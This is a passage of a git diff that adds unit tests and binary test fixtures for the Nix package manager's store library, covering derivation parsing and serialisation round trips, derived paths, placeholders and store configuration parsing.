a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin new file mode 100644 index 000000000..e69de29bb diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin new file mode 100644 index 000000000..96c6efafc Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin new file mode 100644 index 000000000..e877159aa Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/content-address.bin b/tests/unit/libstore/data/worker-protocol/content-address.bin new file mode 100644 index 000000000..8f14bcdb3 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/content-address.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin new file mode 100644 index 000000000..05ea7678a Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin b/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin new file mode 100644 index 000000000..0729b2690 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/drv-output.bin b/tests/unit/libstore/data/worker-protocol/drv-output.bin new file mode 100644 index 000000000..800a45fd8 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/drv-output.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin new file mode 100644 index 000000000..bee94fbe5 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin b/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin new file mode 100644 index 000000000..c5b3c7f36 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/optional-content-address.bin b/tests/unit/libstore/data/worker-protocol/optional-content-address.bin new file mode 100644 index 000000000..f8cfe65ba Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/optional-content-address.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/optional-store-path.bin b/tests/unit/libstore/data/worker-protocol/optional-store-path.bin new file mode 100644 index 000000000..4fbca5576 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/optional-store-path.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin b/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin new file mode 100644 index 000000000..51b239409 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/realisation.bin b/tests/unit/libstore/data/worker-protocol/realisation.bin new file mode 100644 index 000000000..2176c6c4a Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/realisation.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/set.bin b/tests/unit/libstore/data/worker-protocol/set.bin new file mode 100644 index 000000000..ce11ede7f Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/set.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/store-path.bin b/tests/unit/libstore/data/worker-protocol/store-path.bin new file mode 100644 index 000000000..3fc05f298 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/store-path.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/string.bin b/tests/unit/libstore/data/worker-protocol/string.bin new file mode 100644 index 000000000..aa7b5a604 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/string.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin new file mode 100644 index 000000000..e69ccbe83 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin new file mode 100644 index 000000000..7adc8dd44 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin new file mode 100644 index 000000000..a72de6bd6 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin differ diff --git a/tests/unit/libstore/data/worker-protocol/vector.bin b/tests/unit/libstore/data/worker-protocol/vector.bin new file mode 100644 index 000000000..7a37c8cd1 Binary files /dev/null and b/tests/unit/libstore/data/worker-protocol/vector.bin differ diff --git a/tests/unit/libstore/derivation-advanced-attrs.cc b/tests/unit/libstore/derivation-advanced-attrs.cc new file mode 100644 index 000000000..26cf947a8 --- /dev/null +++ b/tests/unit/libstore/derivation-advanced-attrs.cc @@ -0,0 +1,234 @@ +#include +#include +#include + +#include "experimental-features.hh" +#include "derivations.hh" + +#include "tests/libstore.hh" +#include "tests/characterization.hh" +#include "parsed-derivations.hh" +#include "types.hh" + +namespace nix { + +using nlohmann::json; + +class DerivationAdvancedAttrsTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/derivation"; + +public: + Path goldenMaster(std::string_view testStem) const override + { + return unitTestData + "/" + testStem; + } +}; + +#define TEST_ATERM_JSON(STEM, NAME) \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_json) \ + { \ + readTest(NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + /* Use DRV file instead of C++ literal as source of truth. */ \ + auto aterm = readFile(goldenMaster(NAME ".drv")); \ + auto expected = parseDerivation(*store, std::move(aterm), NAME); \ + Derivation got = Derivation::fromJSON(*store, encoded); \ + EXPECT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_to_json) \ + { \ + writeTest( \ + NAME ".json", \ + [&]() -> json { \ + /* Use DRV file instead of C++ literal as source of truth. */ \ + auto aterm = readFile(goldenMaster(NAME ".drv")); \ + return parseDerivation(*store, std::move(aterm), NAME).toJSON(*store); \ + }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ + } \ + \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_aterm) \ + { \ + readTest(NAME ".drv", [&](auto encoded) { \ + /* Use JSON file instead of C++ literal as source of truth. */ \ + auto json = json::parse(readFile(goldenMaster(NAME ".json"))); \ + auto expected = Derivation::fromJSON(*store, json); \ + auto got = parseDerivation(*store, std::move(encoded), NAME); \ + EXPECT_EQ(got.toJSON(*store), expected.toJSON(*store)); \ + EXPECT_EQ(got, expected); \ + }); \ + } \ + \ + /* No corresponding write test, because we need to read the drv to write the json file */ + +TEST_ATERM_JSON(advancedAttributes_defaults, "advanced-attributes-defaults"); +TEST_ATERM_JSON(advancedAttributes, "advanced-attributes-defaults"); +TEST_ATERM_JSON(advancedAttributes_structuredAttrs_defaults, "advanced-attributes-structured-attrs"); +TEST_ATERM_JSON(advancedAttributes_structuredAttrs, "advanced-attributes-structured-attrs-defaults"); + +#undef TEST_ATERM_JSON + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_defaults) +{ + readTest("advanced-attributes-defaults.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), ""); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("allowedReferences"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("allowedRequisites"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("disallowedReferences"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("disallowedRequisites"), std::nullopt); + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet()); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), true); + EXPECT_EQ(parsedDrv.useUidRange(), false); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes) +{ + readTest("advanced-attributes.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + StringSet systemFeatures{"rainbow", "uid-range"}; + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle"); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"}); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"}); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true); + EXPECT_EQ( + parsedDrv.getStringsAttr("allowedReferences"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("allowedRequisites"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("disallowedReferences"), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("disallowedRequisites"), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), false); + EXPECT_EQ(parsedDrv.useUidRange(), true); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs_defaults) +{ + readTest("advanced-attributes-structured-attrs-defaults.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), ""); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false); + + { + auto structuredAttrs_ = parsedDrv.getStructuredAttrs(); + ASSERT_TRUE(structuredAttrs_); + auto & structuredAttrs = *structuredAttrs_; + + auto outputChecks_ = get(structuredAttrs, "outputChecks"); + ASSERT_FALSE(outputChecks_); + } + + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet()); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), true); + EXPECT_EQ(parsedDrv.useUidRange(), false); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs) +{ + readTest("advanced-attributes-structured-attrs.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + StringSet systemFeatures{"rainbow", "uid-range"}; + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle"); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"}); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"}); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true); + + { + auto structuredAttrs_ = parsedDrv.getStructuredAttrs(); + ASSERT_TRUE(structuredAttrs_); + auto & structuredAttrs = *structuredAttrs_; + + auto outputChecks_ = get(structuredAttrs, "outputChecks"); + ASSERT_TRUE(outputChecks_); + auto & outputChecks = *outputChecks_; + + { + auto output_ = get(outputChecks, "out"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ( + get(output, "allowedReferences")->get(), + Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + get(output, "allowedRequisites")->get(), + Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + } + + { + auto output_ = get(outputChecks, "bin"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ( + get(output, "disallowedReferences")->get(), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ( + get(output, "disallowedRequisites")->get(), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + } + + { + auto output_ = get(outputChecks, "dev"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ(get(output, "maxSize")->get(), 789); + EXPECT_EQ(get(output, "maxClosureSize")->get(), 5909); + } + } + + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), false); + EXPECT_EQ(parsedDrv.useUidRange(), true); + }); +}; + +} diff --git a/tests/unit/libstore/derivation.cc b/tests/unit/libstore/derivation.cc new file mode 100644 index 000000000..71979f885 --- /dev/null +++ b/tests/unit/libstore/derivation.cc @@ -0,0 +1,299 @@ +#include +#include + +#include "experimental-features.hh" +#include "derivations.hh" + +#include "tests/libstore.hh" +#include "tests/characterization.hh" + +namespace nix { + +using nlohmann::json; + +class DerivationTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/derivation"; + +public: + Path goldenMaster(std::string_view testStem) const override { + return unitTestData + "/" + testStem; + } + + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; +}; + +class CaDerivationTest : public DerivationTest +{ + void SetUp() override + { + mockXpSettings.set("experimental-features", "ca-derivations"); + } +}; + +class DynDerivationTest : public DerivationTest +{ + void SetUp() override + { + mockXpSettings.set("experimental-features", "dynamic-derivations ca-derivations"); + } +}; + +class ImpureDerivationTest : public DerivationTest +{ + void SetUp() override + { + mockXpSettings.set("experimental-features", "impure-derivations"); + } +}; + +TEST_F(DerivationTest, BadATerm_version) { + ASSERT_THROW( + parseDerivation( + *store, + readFile(goldenMaster("bad-version.drv")), + "whatever", + mockXpSettings), + FormatError); +} + +TEST_F(DynDerivationTest, BadATerm_oldVersionDynDeps) { + ASSERT_THROW( + parseDerivation( + *store, + readFile(goldenMaster("bad-old-version-dyn-deps.drv")), + "dyn-dep-derivation", + mockXpSettings), + FormatError); +} + +#define TEST_JSON(FIXTURE, NAME, VAL, DRV_NAME, OUTPUT_NAME) \ + TEST_F(FIXTURE, DerivationOutput_ ## NAME ## _from_json) { \ + readTest("output-" #NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + DerivationOutput got = DerivationOutput::fromJSON( \ + *store, \ + DRV_NAME, \ + OUTPUT_NAME, \ + encoded, \ + mockXpSettings); \ + DerivationOutput expected { VAL }; \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, DerivationOutput_ ## NAME ## _to_json) { \ + writeTest("output-" #NAME ".json", [&]() -> json { \ + return DerivationOutput { (VAL) }.toJSON( \ + *store, \ + (DRV_NAME), \ + (OUTPUT_NAME)); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +TEST_JSON(DerivationTest, inputAddressed, + (DerivationOutput::InputAddressed { + .path = store->parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-drv-name-output-name"), + }), + "drv-name", "output-name") + +TEST_JSON(DerivationTest, caFixedFlat, + (DerivationOutput::CAFixed { + .ca = { + .method = ContentAddressMethod::Raw::Flat, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, + }), + "drv-name", "output-name") + +TEST_JSON(DerivationTest, caFixedNAR, + (DerivationOutput::CAFixed { + .ca = { + .method = ContentAddressMethod::Raw::NixArchive, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, + }), + "drv-name", "output-name") + +TEST_JSON(DynDerivationTest, caFixedText, + (DerivationOutput::CAFixed { + .ca = { + .method = ContentAddressMethod::Raw::Text, + .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), + }, + }), + "drv-name", "output-name") + +TEST_JSON(CaDerivationTest, caFloating, + (DerivationOutput::CAFloating { + .method = ContentAddressMethod::Raw::NixArchive, + .hashAlgo = HashAlgorithm::SHA256, + }), + "drv-name", "output-name") + +TEST_JSON(DerivationTest, deferred, + DerivationOutput::Deferred { }, + "drv-name", "output-name") + +TEST_JSON(ImpureDerivationTest, impure, + (DerivationOutput::Impure { + .method = ContentAddressMethod::Raw::NixArchive, + .hashAlgo = HashAlgorithm::SHA256, + }), + "drv-name", "output-name") + +#undef TEST_JSON + +#define TEST_JSON(FIXTURE, NAME, VAL) \ + TEST_F(FIXTURE, Derivation_ ## NAME ## _from_json) { \ + readTest(#NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + Derivation expected { VAL }; \ + Derivation got = Derivation::fromJSON( \ + *store, \ + encoded, \ + mockXpSettings); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, Derivation_ ## NAME ## _to_json) { \ + writeTest(#NAME ".json", [&]() -> json { \ + return Derivation { VAL }.toJSON(*store); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +#define TEST_ATERM(FIXTURE, NAME, VAL, DRV_NAME) \ + TEST_F(FIXTURE, Derivation_ ## NAME ## _from_aterm) { \ + readTest(#NAME ".drv", [&](auto encoded) { \ + Derivation expected { VAL }; \ + auto got = parseDerivation( \ + *store, \ + std::move(encoded), \ + DRV_NAME, \ + mockXpSettings); \ + ASSERT_EQ(got.toJSON(*store), expected.toJSON(*store)) ; \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, Derivation_ ## NAME ## _to_aterm) { \ + writeTest(#NAME ".drv", [&]() -> std::string { \ + return (VAL).unparse(*store, false); \ + }); \ + } + +Derivation makeSimpleDrv(const Store & store) { + Derivation drv; + drv.name = "simple-derivation"; + drv.inputSrcs = { + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"), + }; + drv.inputDrvs = { + .map = { + { + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), + { + .value = { + "cat", + "dog", + }, + }, + }, + }, + }; + drv.platform = "wasm-sel4"; + drv.builder = "foo"; + drv.args = { + "bar", + "baz", + }; + drv.env = { + { + "BIG_BAD", + "WOLF", + }, + }; + return drv; +} + +TEST_JSON(DerivationTest, simple, makeSimpleDrv(*store)) + +TEST_ATERM(DerivationTest, simple, + makeSimpleDrv(*store), + "simple-derivation") + +Derivation makeDynDepDerivation(const Store & store) { + Derivation drv; + drv.name = "dyn-dep-derivation"; + drv.inputSrcs = { + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep1"), + }; + drv.inputDrvs = { + .map = { + { + store.parseStorePath("/nix/store/c015dhfh5l0lp6wxyvdn7bmwhbbr6hr9-dep2.drv"), + DerivedPathMap::ChildNode { + .value = { + "cat", + "dog", + }, + .childMap = { + { + "cat", + DerivedPathMap::ChildNode { + .value = { + "kitten", + }, + }, + }, + { + "goose", + DerivedPathMap::ChildNode { + .value = { + "gosling", + }, + }, + }, + }, + }, + }, + }, + }; + drv.platform = "wasm-sel4"; + drv.builder = "foo"; + drv.args = { + "bar", + "baz", + }; + drv.env = { + { + "BIG_BAD", + "WOLF", + }, + }; + return drv; +} + +TEST_JSON(DynDerivationTest, dynDerivationDeps, makeDynDepDerivation(*store)) + +TEST_ATERM(DynDerivationTest, dynDerivationDeps, + makeDynDepDerivation(*store), + "dyn-dep-derivation") + +#undef TEST_JSON +#undef TEST_ATERM + +} diff --git a/tests/unit/libstore/derived-path.cc b/tests/unit/libstore/derived-path.cc new file mode 100644 index 000000000..c62d79a78 --- /dev/null +++ b/tests/unit/libstore/derived-path.cc @@ -0,0 +1,100 @@ +#include + +#include +#include + +#include "tests/derived-path.hh" +#include "tests/libstore.hh" + +namespace nix { + +class DerivedPathTest : public LibStoreTest +{ +}; + +/** + * Round trip (string <-> data structure) test for + * `DerivedPath::Opaque`. + */ +TEST_F(DerivedPathTest, opaque) { + std::string_view opaque = "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x"; + auto elem = DerivedPath::parse(*store, opaque); + auto * p = std::get_if(&elem); + ASSERT_TRUE(p); + ASSERT_EQ(p->path, store->parseStorePath(opaque)); + ASSERT_EQ(elem.to_string(*store), opaque); +} + +/** + * Round trip (string <-> data structure) test for a simpler + * `DerivedPath::Built`. + */ +TEST_F(DerivedPathTest, built_opaque) { + std::string_view built = "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv^bar,foo"; + auto elem = DerivedPath::parse(*store, built); + auto * p = std::get_if(&elem); + ASSERT_TRUE(p); + ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names { "foo", "bar" })); + ASSERT_EQ(*p->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { + .path = store->parseStorePath(built.substr(0, 49)), + })); + ASSERT_EQ(elem.to_string(*store), built); +} + +/** + * Round trip (string <-> data structure) test for a more complex, + * inductive `DerivedPath::Built`. + */ +TEST_F(DerivedPathTest, built_built) { + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; + mockXpSettings.set("experimental-features", "dynamic-derivations ca-derivations"); + + std::string_view built = "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv^foo^bar,baz"; + auto elem = DerivedPath::parse(*store, built, mockXpSettings); + auto * p = std::get_if(&elem); + ASSERT_TRUE(p); + ASSERT_EQ(p->outputs, ((OutputsSpec) OutputsSpec::Names { "bar", "baz" })); + auto * drvPath = std::get_if(&*p->drvPath); + ASSERT_TRUE(drvPath); + ASSERT_EQ(drvPath->output, "foo"); + ASSERT_EQ(*drvPath->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { + .path = store->parseStorePath(built.substr(0, 49)), + })); + ASSERT_EQ(elem.to_string(*store), built); +} + +/** + * Without the right experimental features enabled, we cannot parse a + * complex inductive derived path. + */ +TEST_F(DerivedPathTest, built_built_xp) { + ASSERT_THROW( + DerivedPath::parse(*store, "/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv^foo^bar,baz"), + MissingExperimentalFeature); +} + +#ifndef COVERAGE + +RC_GTEST_FIXTURE_PROP( + DerivedPathTest, + prop_legacy_round_rip, + (const DerivedPath & o)) +{ + RC_ASSERT(o == DerivedPath::parseLegacy(*store, o.to_string_legacy(*store))); +} + +RC_GTEST_FIXTURE_PROP( + DerivedPathTest, + prop_round_rip, + (const DerivedPath & o)) +{ + RC_ASSERT(o == DerivedPath::parse(*store, o.to_string(*store))); +} + +#endif + +} diff --git a/tests/unit/libstore/downstream-placeholder.cc b/tests/unit/libstore/downstream-placeholder.cc new file mode 100644 index 000000000..fd29530ac --- /dev/null +++ b/tests/unit/libstore/downstream-placeholder.cc @@ -0,0 +1,41 @@ +#include + +#include "downstream-placeholder.hh" + +namespace nix { + +TEST(DownstreamPlaceholder, unknownCaOutput) { + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; + mockXpSettings.set("experimental-features", "ca-derivations"); + + ASSERT_EQ( + DownstreamPlaceholder::unknownCaOutput( + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv" }, + "out", + mockXpSettings).render(), + "/0c6rn30q4frawknapgwq386zq358m8r6msvywcvc89n6m5p2dgbz"); +} + +TEST(DownstreamPlaceholder, unknownDerivation) { + /** + * Same reason as above + */ + ExperimentalFeatureSettings mockXpSettings; + mockXpSettings.set("experimental-features", "dynamic-derivations ca-derivations"); + + ASSERT_EQ( + DownstreamPlaceholder::unknownDerivation( + DownstreamPlaceholder::unknownCaOutput( + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo.drv.drv" }, + "out", + mockXpSettings), + "out", + mockXpSettings).render(), + "/0gn6agqxjyyalf0dpihgyf49xq5hqxgw100f0wydnj6yqrhqsb3w"); +} + +} diff --git a/tests/unit/libstore/http-binary-cache-store.cc b/tests/unit/libstore/http-binary-cache-store.cc new file mode 100644 index 000000000..1e415f625 --- /dev/null +++ b/tests/unit/libstore/http-binary-cache-store.cc @@ -0,0 +1,21 @@ +#include + +#include "http-binary-cache-store.hh" + +namespace nix { + +TEST(HttpBinaryCacheStore, constructConfig) +{ + HttpBinaryCacheStoreConfig config{"http", "foo.bar.baz", {}}; + + EXPECT_EQ(config.cacheUri, "http://foo.bar.baz"); +} + +TEST(HttpBinaryCacheStore, constructConfigNoTrailingSlash) +{ + HttpBinaryCacheStoreConfig config{"https", "foo.bar.baz/a/b/", {}}; + + EXPECT_EQ(config.cacheUri, "https://foo.bar.baz/a/b"); +} + +} // namespace nix diff --git a/tests/unit/libstore/legacy-ssh-store.cc b/tests/unit/libstore/legacy-ssh-store.cc new file mode 100644 index 000000000..eb31a2408 --- /dev/null +++ b/tests/unit/libstore/legacy-ssh-store.cc @@ -0,0 +1,26 @@ +#include + +#include "legacy-ssh-store.hh" + +namespace nix { + +TEST(LegacySSHStore, constructConfig) +{ + LegacySSHStoreConfig config{ + "ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }}; + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); +} +} diff --git a/tests/unit/libstore/local-binary-cache-store.cc b/tests/unit/libstore/local-binary-cache-store.cc new file mode 100644 index 000000000..2e840228d --- /dev/null +++ b/tests/unit/libstore/local-binary-cache-store.cc @@ -0,0 +1,14 @@ +#include + +#include "local-binary-cache-store.hh" + +namespace nix { + +TEST(LocalBinaryCacheStore, constructConfig) +{ + LocalBinaryCacheStoreConfig config{"local", "/foo/bar/baz", {}}; + + EXPECT_EQ(config.binaryCacheDir, "/foo/bar/baz"); +} + +} // namespace nix diff --git a/tests/unit/libstore/local-overlay-store.cc b/tests/unit/libstore/local-overlay-store.cc new file mode 100644 index 000000000..b34ca9237 --- /dev/null +++ b/tests/unit/libstore/local-overlay-store.cc @@ -0,0 +1,34 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "local-overlay-store.hh" + +namespace nix { + +TEST(LocalOverlayStore, constructConfig_rootQueryParam) +{ + LocalOverlayStoreConfig config{ + "local-overlay", + "", + { + { + "root", + "/foo/bar", + }, + }, + }; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +TEST(LocalOverlayStore, constructConfig_rootPath) +{ + LocalOverlayStoreConfig config{"local-overlay", "/foo/bar", {}}; + + EXPECT_EQ(config.rootDir.get(), std::optional{"/foo/bar"}); +} + +} // namespace nix +#endif diff --git a/tests/unit/libstore/local-store.cc b/tests/unit/libstore/local-store.cc new file mode 100644 index 000000000..abc3ea796 --- /dev/null +++ b/tests/unit/libstore/local-store.cc @@ -0,0 +1,40 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "local-store.hh" + +// Needed for template specialisations. This is not good! When we +// overhaul how store configs work, this should be fixed. 